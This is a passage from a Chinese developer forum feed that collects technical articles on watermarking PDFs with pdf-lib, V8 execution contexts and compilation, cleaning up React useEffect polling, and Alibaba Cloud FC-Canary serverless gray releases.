    font: customFont,  // 改字体配置
    size: 12,
    color: rgb(0.08, 0.08, 0.2),
    rotate: degrees(15),
    opacity: 0.5,
  };

所以到现在的效果

7. 完整代码

import { PDFDocument, StandardFonts, rgb, degrees } from "pdf-lib";
import fontkit from "@pdf-lib/fontkit";

let input = document.querySelector("#pdf-input");
let imgBytes;

input.onchange = onFileUpload;

// 上传文件
function onFileUpload(e) {
  let event = window.event || e;

  let file = event.target.files[0];
  console.log(file);
  if (file.size) {
    modifyPdf(file);
  }
}

// 修改文档
async function modifyPdf(file) {
  const pdfDoc = await PDFDocument.load(await file.arrayBuffer());

  // 加载内置字体
  const helveticaFont = await pdfDoc.embedFont(StandardFonts.Courier);

  // 加载自定义字体
  const url = 'pttps://xxx.xxx/xxx';
  const fontBytes = await fetch(url).then((res) => res.arrayBuffer());

  // 自定义字体挂载
  pdfDoc.registerFontkit(fontkit)
  const customFont = await pdfDoc.embedFont(fontBytes)

  // 获取文档所有页
  const pages = pdfDoc.getPages();

  // 文字渲染配置
  const drawTextParams = {
    lineHeight: 50,
    font: customFont,
    size: 12,
    color: rgb(0.08, 0.08, 0.2),
    rotate: degrees(15),
    opacity: 0.5,
  };

  let _img = await pdfDoc.embedJpg(await imgBytes.arrayBuffer());

  for (let i = 0; i < pages.length; i++) {
    const page = pages[i];

    // 获取当前页宽高
    const { width, height } = page.getSize();

    // 要渲染的文字内容
    let text = "水印 water 121314";

    for (let ix = 1; ix < width; ix += 230) { // 水印横向间隔
      let lineNum = 0; 
      for (let iy = 50; iy <= height; iy += 110) { // 水印纵向间隔
        lineNum++;
        page.drawImage(_img, {
          x: lineNum & 1 ? ix - 18 : ix + 70 - 18,
          y: iy - 8,
          width: 15,
          height: 15,
          opacity: 0.7,
        });
        page.drawText(text, {
          x: lineNum & 1 ? ix : ix + 70,
          y: iy,
          ...drawTextParams,
        });
      }
    }
  }

  // 保存文档 Serialize the PDFDocument to bytes (a Uint8Array)
  const pdfBytes = await pdfDoc.save();

  let blobData = new Blob([pdfBytes], { type: "application/pdf;Base64" });

  // 新标签页预览
  let a = document.createElement("a");
  a.target = "_blank";
  a.href = window.URL.createObjectURL(blobData);
  document.body.appendChild(a);
  a.click();
  document.body.removeChild(a);
}

//  加载 logo blob 数据
~(function loadImg() {
  let img = new Image();
  img.src = "./water-logo.png";

  let canvas = document.createElement("canvas");
  let ctx = canvas.getContext("2d");

  img.crossOrigin = "";
  img.onload = function () {
    canvas.width = this.width;
    canvas.height = this.height;

    ctx.fillStyle = "rgba(255, 255, 255, 1)";
    ctx.fillRect(0, 0, canvas.width, canvas.height);

    ctx.drawImage(this, 0, 0, this.width, this.height);
    canvas.toBlob(
      function (blob) {
        imgBytes = blob;
      },
      "image/jpeg",
      1
    ); // 参数为输出质量
  };
})();

8. 不完美的地方

当前方案虽然可以实现在前端为 PDF 加水印，但是由于时间关系，有些瑕疵还需要再进一步探索解决 💪：

  1. 水印是浮在原文本之上的，可以被选中

  2. logo 的背景虽然不注意看不到，但是实际上还未完全透明 🤔

来源：http://www.cnblogs.com/iamzhiyudong/p/14990528.html

收起阅读 »
上帝之眼 发表于 : 2022-07-11 21:19 评论 (0) 分享

V8系列第二篇:从执行上下文的角度看JavaScript到底是怎么运行的

v8 Javascript
1.前言 先来说一说V8引擎和浏览器 V8引擎要想运行起来，就必须依附于浏览器，或者依附于Node.js宿主环境。因此V8引擎是被浏览器或者Node.js启动的。比如在Chrome浏览器中，你打开一个网址后，渲染进程便会初始化V8引擎，同时在V8中会初始化堆空...
继续阅读 »


1.前言


先来说一说V8引擎和浏览器


V8引擎要想运行起来，就必须依附于浏览器，或者依附于Node.js宿主环境。因此V8引擎是被浏览器或者Node.js启动的。比如在Chrome浏览器中，你打开一个网址后，渲染进程便会初始化V8引擎，同时在V8中会初始化堆空间和栈空间，而栈空间就是来管理执行上下文的。而执行上下文就可以说是我们平常写的JavaScript代码的运行环境。


好了简单理解一下，那接下来本篇就重点来学习一下V8引擎中的执行上下文。


2.执行上下文概述



首先从宏观的角度来说: JavaScript代码要想能够被执行，就必须先被V8引擎编译，编译完成之后才会进入到执行阶段，总结为六个字：先编译再执行。



在V8引擎编译的过程中，同时会生成执行上下文。最开始执行代码的时候通常会生成全局执行上下文、执行一个函数时会生成该函数的执行上下文、当执行一个代码块时也会生成代码块的可执行上下文。所以一段代码可以说成是先编译再执行，那么整个过程就是无数个先编译再执行构成的(通常编译发生在执行代码前的几微秒，甚至更短的时间)。


我们再来理解一下上面说到的执行上下文, 在JavaScript 高级程序设计（第四版）中大概是这样描述的：



执行上下文的概念在JavaScript中是非常重要的。变量或者函数的执行上下文决定了它们可以访问哪些数据，以及他们拥有哪些行为（可以执行哪些方法吧）。每个执行上下文都有一个关联的变量对象，而这个执行上下文中定义的所有变量和函数都存在于这个对象上。这个对象我们在代码中是无法访问的。



执行上下文可以说是执行一段JavaScript代码的运行环境，可以算作是一个抽象的概念。


简单的理解一下概念（下文如果再需要的时候你可以返回顶部再次理解查看）后，我们就来看看JavaScript是怎么将一个变量和函数运行起来的。


3.准备测试代码


这里为了更直观的查看代码的运行效果，我特意新建了一个xxxx.html文件，文件所有代码如下所示：
这里突然发现html文件中只有script标签和js代码也是可以执行的，不清楚以前是不是也是可以，还是说JavaScript引擎在后期做了优化处理。


<script>

    a_Function()

    var a_variable = 'aehyok'

    console.log(a_variable)

    function a_Function() {

      console.log('函数a_Function执行了', a_variable);

    }

</script>


特别强调一个点，我上面声明变量使用的var关键字



运行后的执行结果


image.png


4.调试var声明的变量


相信通过运行结果，你心中应该有了自己的代码执行过程了。我们接着往下操作，在第2行代码(下文截图中的位置)打个调试断点，如下图所示


image.png


此时代码已经准备开始要执行a_Function函数了。脑补一下，我们就以此为分割点（按正常来说这肯定是不合理的，因为代码已经开始执行了，不过你可以暂且这样尝试去理解一下），就是运行到第2行代码之前的时间段或者状态，我们就称它为编译阶段，这之后代码就开始运行了，我们称它为执行阶段。


1、通过截图可以发现，作用域下的全局 已经有了一个a_Function函数，以及一个a_variable变量其值为 undefined，这里可以看到许许多多的其他变量、函数，这其实就是全局window对象。


2、使用过JavaScript的人都清楚，JavaScript是按照顺序执行代码的，但是通过截图去看，好像又不太对劲，所以执行前的编译阶段，JavaScript引擎还是处理了不少事情的,它做了什么事情呢？


V8引擎编译这段代码的时候，同时会生成一个全局执行上下文，在截图的第二行代码发现是一个函数，便会在代码中查找到该函数的定义，并将该函数体放到全局执行上下文的词法环境中。该函数体里的代码还未执行，所以不会去编译，继续第三行代码,发现是var声明的一个变量，便会将该变量放到全局执行上文的变量环境中，同时给该变量赋值为undefined。


具体如下模拟代码


function a_Function() {

console.log('函数a_Function执行了', a_variable);

}

var a_variable = undefined

这段代码主要在编译代码阶段做了变量提升，会将var声明的变量存放到变量环境中（let和const声明的变量存放到词法环境中），而函数的声明会被存放到词法环境中。
词法环境和变量环境是存在于执行上下文的，变量的默认值会被设置为undefined，函数的执行体会被带到词法环境中
然后还会生成可执行代码,其实编译生成的是字节码，下面的代码算是模拟代码：


a_Function()

a_variable = 'aehyok'

console.log(a_variable)

  • 执行阶段
    接下来开始按照顺序执行上面生成的可执行代码，其实在执行阶段已经变成了机器码

a_Function()

a_variable = 'aehyok'

console.log(a_variable)

第一行模拟代码：先调用a_Function,此时会开始生成该函数的函数执行上下文, 执行a_Function中的代码，函数a_Function执行了 undefined,因为此时的a_variable还没给予赋值操作


第二行模拟代码：对a_variable变量进行赋值字符串"aehyok",此时变量环境中的a_variable值变为"aehyok"


第三行模拟代码：打印已经赋值为aehyok的变量。


5.调试let声明的变量


5.1主要是将上面的测试代码中：声明变量的关键字var改为let


<script>

    a_Function()

    let a_variable = 'aehyok'

    console.log(a_variable)

    function a_Function() {

      console.log('函数a_Function执行了', a_variable);

    }

</script>

执行代码以后发现直接报错了，报错内容如下图所示


image.png


5.2打断点调试代码


image.png
代码断点打到如截图中第2行位置，可以看到let声明的变量，存在于单独的Script作用域中，并且赋值为undefined。


5.3分析5.1和5.2的代码


  • 通过var和let两种方式代码运行比对情况来看，let声明变量的方式不存在变量提升的情况。
  • 通过3.2截图可以发现，let声明变量的方式，在作用域中的已经创建，并赋值为undefined,但通过查阅资料发现：


let声明的变量，主要是因为V8虚拟机做了限制，虽然a_variable已经在内存中并且赋值为undefined，但是当你在let a_variable 之前访问a_variable时，根据ECMAScript定义，虚拟机会阻止的访问！也可以说成是形成了暂时性的死区，这是语法规定出来的。所以就会报错。



6.调试let声明的变量继续执行


主要添加了一个let声明的变量，以及为其进行了赋值操作，代码如下所示


<script>

  a_Function()

  var a_variable = 'a_aehyok'

  let aa_variable = 'aa_aehyok'

  console.log(a_variable)

  function a_Function() {

    console.log('函数a_Function执行了', a_variable);

  }

</script>

执行后情况截图如下


image.png


可以发现通过var声明的变量和let(也可以使用const)声明的变量被储存在了不同的位置，之前上面说过通过var声明的变量被存放到了变量环境中了。那么现在我再告诉你，通过let（也可以是const）声明的变量被存放到了词法环境中了。


  • var声明的变量存放在变量环境中
  • let和const声明的变量存放在词法环境中
  • 函数的声明存放在词法环境中
  • 变量环境和词法环境都存在于执行上下文中

7.总结三种执行上下文


在上面的一小段代码中，我们已经使用过了两种执行上下文，全局执行上下文和函数执行上下文。


  • 全局执行上下文 — 这是默认或者说基础的上下文，任何不在函数内部的代码都在全局上下文中。它会执行两件事：创建一个全局的 window 对象（浏览器的情况下），并且设置 this 的值等于这个全局对象。一个程序中只会有一个全局执行上下文。


var声明的变量会在全局window对象上，而let和const声明的变量是不会在全局window对象上的。而全局函数时会在全局window对象上。




  • 函数执行上下文 — 每当一个函数被调用时, 都会为该函数创建一个新的上下文。每个函数都有它自己的执行上下文，不过是在函数被调用时创建的。函数上下文可以有任意多个。每当一个新的执行上下文被创建，它会按定义的顺序（将在后文讨论）执行一系列步骤。



  • Eval 函数执行上下文 — 执行在 eval 函数内部的代码也会有它属于自己的执行上下文，但由于 JavaScript 开发者并不经常使用 eval，所以在这里我不会讨论它。



8.总结



  • 1、通过这篇简单的文章，我想我自己理清楚了，原来JavaScript代码是先编译再执行的。



  • 2、然后代码在编译的时候就生成了执行上下文，也就是代码运行的环境。



  • 3、var声明的变量存在变量提升，并且在编译阶段存放到了变量环境中，变量环境其实也是一个词法环境。



  • 4、通过变量提升发现，代码会先生成执行上下文，然后再生成可执行的代码。



  • 5、const和let声明的变量不存在变量提升，并且再编译阶段被存放到了词法环境中。



  • 6、所有var定义的全局变量和全局定义的函数，都会在window对象上。



  • 7、所有let和const定义的全局变量不会定义在全局上下文中，但是在作用域链的解析效果上是一样的（跟var定义的）。

 
收起阅读 »
环Sir 发表于 : 2022-07-06 15:56 评论 (0) 分享

V8开篇:V8是如何运行JavaScript(let a = 1)代码的？

V8引擎 Javascript
我们知道，机器是不能直接理解我们平常工作或者自己学习的代码的。所以，在执行程序之前，需要将代码翻译成机器能读懂的机器语言。按语言的执行流程，可以把计算机语言划分为编译型语言和解释型语言： 编译型语言：在代码运行前编译器直接将对应的代码转换成机器码，运行时不需...
继续阅读 »


我们知道，机器是不能直接理解我们平常工作或者自己学习的代码的。所以，在执行程序之前，需要将代码翻译成机器能读懂的机器语言。按语言的执行流程，可以把计算机语言划分为编译型语言和解释型语言：



编译型语言：在代码运行前编译器直接将对应的代码转换成机器码，运行时不需要再重新翻译，直接可以使用编译后的结果。




解释型语言：需要将代码转换成机器码，和编译型语言的区别在于运行时需要转换。解释型语言的执行速度要慢于编译型语言，因为解释型语言每次执行都需要把源码转换一次才能执行。



Java 和 C++ 等语言都是编译型语言，而 JavaScript 是解释性语言，它整体的执行速度会略慢于编译型的语言。V8 是众多JavaScript引擎中性能表现最好的一个，并且它是 Chrome 的内核，Node.js 也是基于 V8 引擎研发的。


1.运行的整体过程


未命名文件 (4).png


2.英译汉翻译的过程


比如我们看到了google V8官网的一篇英文文章 v8.dev/blog/faster…,在阅读的过程中，可以就是要对每一个单词进行解析翻译成中文，然后多个单词进行语法的解析，再通过对整句话进行整个语句进行解析，那么这句话就翻译结束了。


下面我们就举例一句英文的翻译过程：I am a programmer。


  • 1、首先对输入的字符串I am a programmer。进行拆分便会拆分成 I am a programmer 。


相当于词法分析




  • 2、I 是一个主语， am 是一个谓语， a是一个形容词， programmer是个名词， 。标点符号。



  • 3、I 是我的意思， am 是是的意思， a是一个的意思， programmer是程序员的意思， 。是句号的意思。




2和3一起相当于语法分析



  • 4、对3中的语法分析进行拼接处理：我是一个程序员。当然这是非常简单的一个英译汉，一篇文章的话，就会复杂一些了。


相当于语义分析



3.V8运行的整个过程


3.1.准备一段JavaScript源代码


let a = 10

3.2.词法分析：


一段源代码，就是一段字符串。编译器识别源代码的第一步就是要进行分词，将源代码拆解成一个个的token。所谓的token,就是不可再分的单个字符或者字符串。


3.3.token


通过 esprima.org/demo/parse.… 可以查看生成的tokens,也就是上面那段源代码生成的所有token。


Token类别： 关键字、标识符、字面量、操作符、数据类型（String、Numeric）等


image.png


3.4.语法分析


将上一步生成的 token 数据，根据语法规则转为 AST。通过astexplorer.net 可以查看生成AST抽象语法树。


3.5.AST


生成的AST如下图所示，生成过程就是先分词（词法分析），再解析（语法分析）


image.png
当然你也可以查看生成的AST的JSON结构


{

  "type": "Program",

  "start": 0,

  "end": 9,

  "body": [

    {

      "type": "VariableDeclaration",

      "start": 0,

      "end": 9,

      "declarations": [

        {

          "type": "VariableDeclarator",

          "start": 4,

          "end": 9,

          "id": {

            "type": "Identifier",

            "start": 4,

            "end": 5,

            "name": "a"

          },

          "init": {

            "type": "Literal",

            "start": 8,

            "end": 9,

            "value": 1,

            "raw": "1"

          }

        }

      ],

      "kind": "let"

    }

  ],

  "sourceType": "module"

}

同样我在本地下载了v8,直接用v8来查看AST


v8-debug  --print-ast hello.js

image.png


3.6.解释器


解释器会将AST生成字节码，生成字节码的过程也就是对AST抽象语法树进行遍历循环，并进行语义分析


3.7.字节码


在最开始的V8引擎中是没有字节码，是直接将AST转换生成为机器码。这种架构存在的问题就是内存消耗特别大，尤其是在移动设备上，编译出来的机器码占了整个chorme浏览器的三分之一，这样为代码运行时留下的内存就更小了。
于是后来在V8中加入了Ignition 解释器，引入字节码，主要就是为了减少内存消耗。
本地可以使用V8命令行查看生成的字节码


v8-debug  --print-bytecode hello.js

image.png


3.8.热点代码


首先判断字节码是否为热点代码。通常第一次执行的字节码，Ignition 解释器会逐条解释执行。在执行的过程中，如果发现是热点代码，比如for 循环中的代码被执行了多次，这种就称之为热点代码。那么后台的TurboFan就会把该段热点代码编译为高效的机器码，然后再次执行这段被优化的代码时，只需要执行编译后的机器码就可以了， 这样就大大提升了代码的执行效率。


3.9.编译器


TurboFan编译器也可以说是JIT的即时编译器，也可以说是优化编译器。



Ignition 解释器: 可以将AST生成字节码，还可以解释执行字节码。



4、总结


  • 了解V8整个的运行机制
  • 学习JavaScript到底是怎么运行的
  • 对日后编写JavaScript代码有非常多的好处
  • 看完学习了，能提升我们的技术水平
  • 对于日后遇到问题，能够从底层去思考问题出在那里，更快速的定位和解决问题
  • 真的非常熟悉了，可以自己开发一门新的语言
 
收起阅读 »
环Sir 发表于 : 2022-07-06 15:56 评论 (0) 分享

清除 useEffect 副作用

web
在 React 组件中，我们会在 useEffect() 中执行方法，并返回一个函数用于清除它带来的副作用影响。以下是我们业务中的一个场景，该自定义 Hooks 用于每隔 2s 调用接口更新数据。import { useState, useEffect } f...
继续阅读 »

在 React 组件中，我们会在 useEffect() 中执行方法，并返回一个函数用于清除它带来的副作用影响。以下是我们业务中的一个场景，该自定义 Hooks 用于每隔 2s 调用接口更新数据。

import { useState, useEffect } from 'react';

export function useFetchDataInterval(fetchData) {
  const [list, setList] = useState([]);
  useEffect(() => {
    const id = setInterval(async () => {
      const data = await fetchData();
      setList(list => list.concat(data));
    }, 2000);
    return () => clearInterval(id);
  }, [fetchData]);

  return list;
}

🐚 问题

该方法的问题在于没有考虑到 fetchData() 方法的执行时间，如果它的执行时间超过 2s 的话，那就会造成轮询任务的堆积。而且后续也有需求把这个定时时间动态化，由服务端下发间隔时间，降低服务端压力。

所以这里我们可以考虑使用 setTimeout 来替换 setInterval。由于每次都是上一次请求完成之后再设置延迟时间，确保了他们不会堆积。以下是修改后的代码。

import { useState, useEffect } from 'react';

export function useFetchDataInterval(fetchData) {
  const [list, setList] = useState([]);
  useEffect(() => {
    let id;
    async function getList() {
      const data = await fetchData();
      setList(list => list.concat(data));
      id = setTimeout(getList, 2000);
    }
    getList();
    return () => clearTimeout(id);
  }, [fetchData]);

  return list;
}

不过改成 setTimeout 之后会引来新的问题。由于下一次的 setTimeout 执行需要等待 fetchData() 完成之后才会执行。如果在 fetchData() 还没有结束的时候我们就卸载组件的话，此时 clearTimeout() 只能无意义的清除当前执行时的回调，fetchData() 后调用 getList() 创建的新的延迟回调还是会继续执行。

在线示例：CodeSandbox


可以看到在点击按钮隐藏组件之后，接口请求次数还是在继续增加着。那么要如何解决这个问题？以下提供了几种解决方案。

🌟如何解决

🐋 Promise Effect

该问题的原因是 Promise 执行过程中，无法取消后续还没有定义的 setTimeout() 导致的。所以最开始想到的就是我们不应该直接对 timeoutID 进行记录，而是应该向上记录整个逻辑的 Promise 对象。当 Promise 执行完成之后我们再清除 timeout，保证我们每次都能确切的清除掉任务。

在线示例：CodeSandbox

import { useState, useEffect } from 'react';

export function useFetchDataInterval(fetchData) {
  const [list, setList] = useState([]);
  useEffect(() => {
    let getListPromise;
    async function getList() {
      const data = await fetchData();
      setList((list) => list.concat(data));
      return setTimeout(() => {
        getListPromise = getList();
      }, 2000);
    }

    getListPromise = getList();
    return () => {
      getListPromise.then((id) => clearTimeout(id));
    };
  }, [fetchData]);
  return list;
}

🐳 AbortController

上面的方案能比较好的解决问题，但是在组件卸载的时候 Promise 任务还在执行，会造成资源的浪费。其实我们换个思路想一下，Promise 异步请求对于组件来说应该也是副作用，也是需要”清除“的。只要清除了 Promise 任务，后续的流程自然不会执行，就不会有这个问题了。

清除 Promise 目前可以利用 AbortController 来实现，我们通过在卸载回调中执行 controller.abort() 方法，最终让代码走到 Reject 逻辑中，阻止了后续的代码执行。

在线示例：CodeSandbox

import { useState, useEffect } from 'react';

function fetchDataWithAbort({ fetchData, signal }) {
  if (signal.aborted) {
    return Promise.reject("aborted");
  }
  return new Promise((resolve, reject) => {
    fetchData().then(resolve, reject);
    signal.addEventListener("aborted", () => {
      reject("aborted");
    });
  });
}
function useFetchDataInterval(fetchData) {
  const [list, setList] = useState([]);
  useEffect(() => {
    let id;
    const controller = new AbortController();
    async function getList() {
      try {
        const data = await fetchDataWithAbort({ fetchData, signal: controller.signal });
        setList(list => list.concat(data));
        id = setTimeout(getList, 2000);
      } catch(e) {
        console.error(e);
      }
    }
    getList();
    return () => {
      clearTimeout(id);
      controller.abort();
    };
  }, [fetchData]);

  return list;
}

🐬 状态标记

上面一种方案，我们的本质是让异步请求抛错，中断了后续代码的执行。那是不是我设置一个标记变量，标记是非卸载状态才执行后续的逻辑也可以呢？所以该方案应运而生。

定义了一个 unmounted 变量，如果在卸载回调中标记其为 true。在异步任务后判断如果 unmounted === true 的话就不走后续的逻辑来实现类似的效果。

在线示例：CodeSandbox

import { useState, useEffect } from 'react';

export function useFetchDataInterval(fetchData) {
  const [list, setList] = useState([]);
  useEffect(() => {
    let id;
    let unmounted;
    async function getList() {
      const data = await fetchData();
      if(unmounted) {
        return;
      }

      setList(list => list.concat(data));
      id = setTimeout(getList, 2000);
    }
    getList();
    return () => {
      unmounted = true;
      clearTimeout(id);
    }
  }, [fetchData]);

  return list;
}

🎃 后记

问题的本质是一个长时间的异步任务在过程中的时候组件卸载后如何清除后续的副作用。

这个其实不仅仅局限在本文的 Case 中，我们大家平常经常写的在 useEffect 中请求接口，返回后更新 State 的逻辑也会存在类似的问题。

只是由于在一个已卸载组件中 setState 并没有什么效果，在用户层面无感知。而且 React 会帮助我们识别该场景，如果已卸载组件再做 setState 操作的话，会有 Warning 提示。


再加上一般异步请求都比较快，所以大家也不会注意到这个问题。

所以大家还有什么其他的解决方法解决这个问题吗？欢迎评论留言~


作者：lizheming
链接：juejin.cn/post/7057897311187238919

收起阅读 »
上帝之眼 发表于 : 2022-07-05 09:03 评论 (0) 分享

如何用一个插件解决 Serverless 灰度发布难题？

web
Serverless 灰度发布什么是 Serverless ?Serverless 顾名思义就是无服务器，它是一种“来了就用，功能齐全，用完即走”的全新计算提供方式，用户无需预制或管理服务器即可运行代码，只需将代码从部署在服务器上，转换到部署到各厂商 Serv...
继续阅读 »

Serverless 灰度发布

什么是 Serverless ?

Serverless 顾名思义就是无服务器，它是一种“来了就用，功能齐全，用完即走”的全新计算提供方式，用户无需预制或管理服务器即可运行代码，只需将代码从部署在服务器上，转换到部署到各厂商 Serverless 平台上；同时享受 Serverless 按需付费，高弹性，低运维成本，事件驱动，降本提效等优势。

什么是 Serverless 灰度发布？

灰度发布又称为金丝雀发布( Canary Deployment )。过去，矿工们下矿井前，会先放一只金丝雀到井内，如果金丝雀在矿井内没有因缺氧、气体中毒而死亡后，矿工们才会下井工作，可以说金丝雀保护了工人们的生命。

与此类似，在软件开发过程中，也有一只金丝雀，也就是灰度发布（Gray release）：开发者会先将新开发的功能对部分用户开放，当新功能在这部分用户中能够平稳运行并且反馈正面后，才会把新功能开放给所有用户。金丝雀发布就是从不发布，然后逐渐过渡到正式发布的一个过程。

那么对于部署在 Serverless 平台上的函数应该怎么进行灰度发布呢？

下文将以阿里云函数计算 FC 为例，为各位展开介绍。

灰度发布有一个流程，两种方式。

一个流程

Serverless 灰度发布是通过配置别名来实现的，别名可以配置灰度版本和主版本的流量比例，在调用函数时使用配置好的别名即可将流量按比例发送到相应版本。


配置灰度发布的流程如下：

  1. Service 中发布一个新版本。

  2. 创建或更新别名，配置别名关联新版本和稳定版本，新版本即为灰度版本。

  3. 将触发器 ( Trigger ) 关联到别名。

  4. 将自定义域名 ( Custom Domain ) 关联到别名。

  5. 在调用函数中使用别名，流量会按配置比例发送到新版本和稳定版本。

传统做法的两种方式

1、阿里云控制台 web 界面：

a.发布版本


b.创建别名


c.关联触发器


d.关联自定义域名


2、使用 Serverless Devs cli

a.发布版本

s cli fc version publish --region cn-hangzhou --service-name fc-deploy-service --description "test publish version"

b.创建别名并设置灰度

s cli fc alias publish --region cn-hangzhou --service-name fc-deploy-service --alias-name pre --version-id 1 --gversion 3 --weight 20

c.关联触发器

需要到控制台配置

d.关联自定义域名

需要到控制台配置可以看到，使用控制台或 Serverless Devs 进行灰度发布流程中的每一步，都需要用户亲自操作。并且由于配置繁多，极易出错。除了这些弊端以外，客户困扰的另一个问题是使用灰度发布策略非常不方便。

常见的灰度发布策略有 5 种：

    1. CanaryStep: 灰度发布，先灰度指定流量，间隔指定时间后再灰度剩余流量。

    2. LinearStep：分批发布，每批固定流量，间隔指定时间后再开始下一个批次。

    3. CanaryPlans：自定义灰度批次，每批次设定灰度流量和间隔时间，间隔指定时间后按照设定的流量进行灰度。

    4. CanaryWeight：手动灰度，直接对灰度版本设置对应的权重。

    5. FullWeight: 全量发布，全量发布到某一版本。

这些灰度策略中，前三项都需要配置间隔时间，而用户在控制台或者使用 Serverless Devs 工具去配置灰度都没有办法通过自动程序来配置间隔时间，不得不通过闹钟等方式提醒用户手动进行下一步灰度流程，这个体验是非常不友好的。下面我们介绍个能够帮您一键灰度发布函数的插件：FC-Canary 。

基于 Serverless Devs 插件 FC-Canary 的灰度发布

为了应对以上问题，基于 Serverless Devs 的插件 FC-Canary 应运而生，该插件可以帮助您通过 Serverless-Devs 工具和 FC 组件实现函数的灰度发布能力，有效解决灰度发布时参数配置繁杂、需要开发人员亲自操作以及可用策略少等问题。


（内容配置及注意事项-部分截图）

详细流程请见：github.com/devsapp/fc-…。

FC-Canary 的优势

1、FC-Canary 支持超简配置

用户最短只需在 s.yaml 中增加 5 行代码代码即可开启灰度发布功能。


2、FC-Canary 配置指引简单清晰:


3、FC-Canary 支持多种灰度策略

  • 灰度发布，先灰度指定流量，间隔指定时间后再灰度剩余流量。

此时流量变化为：20%流量到新版本，10 分钟后 100%流量到新版本


  • 手动灰度，指定时直接将灰度版本设置对应的权重。

此时为 10%流量到新版本，90%到稳定版本


  • 自定义灰度，以数组的方式配置灰度变化。

此时流量变化为：10%到新版本 -> (5 分钟后) 30% 流量到新版本 -> (10 分钟后) 100% 流量到新版本


  • 分批发布，不断累加灰度比例直到 100%流量到新版本。

流量变化：40%到新版本 -> (10 分钟后) 80%流量到新版本 -> (再 10 分钟后) 100%流量到新版本


  • 全量发布，100%流量发到新版本


FC-Canary 插件支持上述 5 种灰度策略，用户选择所需策略并进行简单配置，即可体验一键灰度发布。

4、FC-Canary 灰度阶段提示清晰


插件对每一个里程碑都会以 log 的方式展现出来，给开发者足够的信心。

5、FC-Canary 支持钉钉群组机器人提醒


配置钉钉机器人即可在群中收到相关提醒，例如：


FC-Canary 最佳实践

使用 FC-Canary 插件灰度发布 nodejs 12 的函数。

代码仓库：

github.com/devsapp/fc-…

初始化配置

  • 代码配置


  • yaml 配置


我们采用 canaryWeight 的灰度策略：灰度发布后，50%的流量到新版本，50%的流量到旧版本。

进行第一次发布

  1. 执行发布

在 terminal 中输入: s deploy --use-local

  1. 查看结果

命令行输出的 log 中可以看到：


由于是第一次发布，项目中不存在历史版本，所以即使配置了灰度发布策略 ，FC-Canary 插件也会进行全量发布，即流量都发送到版本 1。

修改代码，第二次发布

  1. 在第二次发布前，我们修改一下代码，让代码抛出错误。


  1. 执行发布

在terminal中输入: s deploy --use-local

  1. 结果

命令行输出 log 中可以看到：


第二次发布，应用了灰度发布策略，即 50%流量发送到版本 1, 50%的流量发送到版本 2。

测试

获取 log 中输出的 domain，访问 domain 100 次后查看控制台监控大盘。


可以看到调用了函数 100 次，错误的函数有 49 次，正确的函数有 100 - 49 = 51 次，正确和错误的函数都约占总调用数的 50%。

分析：函数版本 1 为正确函数，函数版本 2 为错误函数，我们的灰度配置为流量 50% 到版本 1，50% 到版本 2，所以调用过程中，错误函数和正确函数应该各占 50%，图中结果符合我们的假设，这证明我们的灰度策略是成功的。

总结

我们可以发现相比使用控制台进行灰度发布，使用 FC-Canary 插件免去了用户手动创建版本、发布别名、关联触发器和管理自定义域名的麻烦，使用起来非常方便。

引申阅读

Serverless Devs 组件和插件的关系

  • 组件是什么？

根据 Serverless Devs Model v0.0.1 中说明， 组件 Component: 是由 Package developer 开发并发布的符合 Serverless Package Model 规范的一段代码，通常这段代码会在应用中被引用，并在 Serverless Devs 开发者工具中被加载，并按照预定的规则进行执行某些动作。例如，将用户的代码部署到 Serverless 平台；将 Serverless 应用进行构建和打包；对 Serverless 应用进行调试等。

举个例子：

如果想要使用 Serverless Devs 管理阿里云函数计算的函数计算资源，则需要在 yaml 配置文件中声明阿里云 FC 组件，之后便可以使用阿里云 FC 组件的能力。

FC 组件可以提供管理阿里云函数计算资源的能力，包括：管理服务、函数、版本、别名 等功能。组件地址：github.com/devsapp/fc

  • 插件是什么？

插件作为组件的补充，提供组件的原子性功能。

举个例子：

  1. 使用 FC 组件 deploy 的功能部署函数，可以在部署结束后采用 FC-Canary 插件对部署的函数进行灰度发布。

  2. 使用 FC 组件 deploy 的功能部署函数，可以在部署开始前采用 layer-fc 插件来降低部署过程中上传代码的耗时：即 layer-fc 可以让函数直接使用公共依赖库（远程）中的依赖，从而在部署时不再需要上传这些远程存在的依赖。

  • 组件和插件的关系？


  • 在 Serverless Devs Model 中，组件是占据核心地位，插件是辅助地位，也就是说，插件的目的是提升组件能力，提供给组件一些可选的原子性功能。

  • Serverless Devs 管理组件和插件的生命周期，如果是 pre 插件，则会让其在组件执行前执行，反之，post 插件则会在组件后完成一些收尾工作。

  • 一个组件可以同时使用多个插件, 其中组件插件的执行顺序是：

    1. 插件按照 yaml 顺序执行， 前一个插件的执行结果为后一个插件的入参

    2. 最后一个 pre 插件的输出作为组件的入参

    3. 组件的输出作为第一个 post 插件的入参

相关概念

  • FC 函数 (Function) 是系统调度和运行的单位，由函数代码和函数配置构成。FC 函数必须从属于服务，同一个服务下的所有函数共享一些相同的设置，例如服务授权、日志配置。函数的相关操作，请参见 管理函数。函数计算支持事件函数和 HTTP 函数两种函数类型，关于二者的区别，请参见 函数类型。

  • 服务 (Service) 可以和微服务对标 ( 有版本和别名 )，多个函数可以共同组成服务单元。创建函数前必须先创建服务，同一个服务下的所有函数共享一些相同的设置，例如服务授权、日志配置。

  • 触发器 (Trigger) 的作用是触发函数执行的。函数计算提供了一种事件驱动的计算模型。函数的执行可以通过函数计算控制台或 SDK 触发，也可以由其他一些事件源来触发。您可以在指定函数中创建触发器，该触发器描述了一组规则，当某个事件满足这些规则，事件源就会触发关联的函数。

  • 自定义域名(Custom Domain) 是函数计算提供为 Web 应用绑定域名的能力。

  • 版本 (Version) 是服务的快照，包括服务的配置、服务内的函数代码及函数配置，不包括触发器，当发布版本时，函数计算会为服务生成快照，并自动分配一个版本号与其关联，以供后续使用。

  • 别名 (Alias) 结合版本，帮助函数计算实现软件开发生命周期中的持续集成和发布。

最后，欢迎大家一起来贡献更多的开源插件！

参考链接：

Serverless Devs：

github.com/Serverless-…

FC 组件地址：

github.com/devsapp/fc

FC-Canary 插件具体信息及其使用请参考：

github.com/devsapp/fc-…

FC 函数管理：

help.aliyun.com/document_de…

FC 函数类型：

help.aliyun.com/document_de…


作者：长淇
来源：https://juejin.cn/post/7116556273662820382

收起阅读 »
上帝之眼 发表于 : 2022-07-05 08:54 评论 (0) 分享

生成二维码或条形码JavaScript脚本库

web
